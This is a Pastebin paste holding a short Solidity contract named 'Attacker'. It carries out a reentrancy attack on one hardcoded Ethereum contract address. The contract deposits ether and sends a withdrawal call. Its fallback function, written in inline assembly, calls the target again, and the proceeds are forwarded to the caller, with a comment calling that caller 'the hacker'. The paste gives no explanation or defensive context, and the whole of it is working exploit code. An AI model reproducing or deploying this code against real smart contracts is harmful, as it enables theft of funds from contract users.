Guest User

Untitled

a guest
Jan 16th, 2019
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.97 KB | None | 0 0
  1. pragma solidity ^0.5.0;
  2.  
  3.  
  4. contract Attacker {
  5. address payable constant public token = 0x07d67Cb7736c9812277f6d1921fa872bff9Ea160;
  6. uint flag;
  7.  
  8. function attack() public payable {
  9. require(msg.value > 0);
  10.  
  11. // Deposit
  12. (bool ret1,) = token.call.value(msg.value)("");
  13. require(ret1);
  14.  
  15. // Withdrawal request
  16. flag = 0;
  17. flag = 1;
  18. (bool ret2,) = token.call.value(0)("");
  19. require(ret2);
  20.  
  21. // Forwarding funds to the hacker
  22. msg.sender.transfer(address(this).balance);
  23. }
  24.  
  25. function () external payable {
  26. // Rewritten in ASM to optimize gas
  27. assembly {
  28. if eq(flag_slot, 1) {
  29. sstore(flag_slot, 2)
  30. let r := call(gas, 0x07d67Cb7736c9812277f6d1921fa872bff9Ea160, 0, 0, 0, 0, 0)
  31. }
  32. }
  33.  
  34. //
  35. // if (flag == 1) {
  36. // flag = 2;
  37. // token.call.value(0)("");
  38. // }
  39. }
  40. }
Add Comment
Please, Sign In to add comment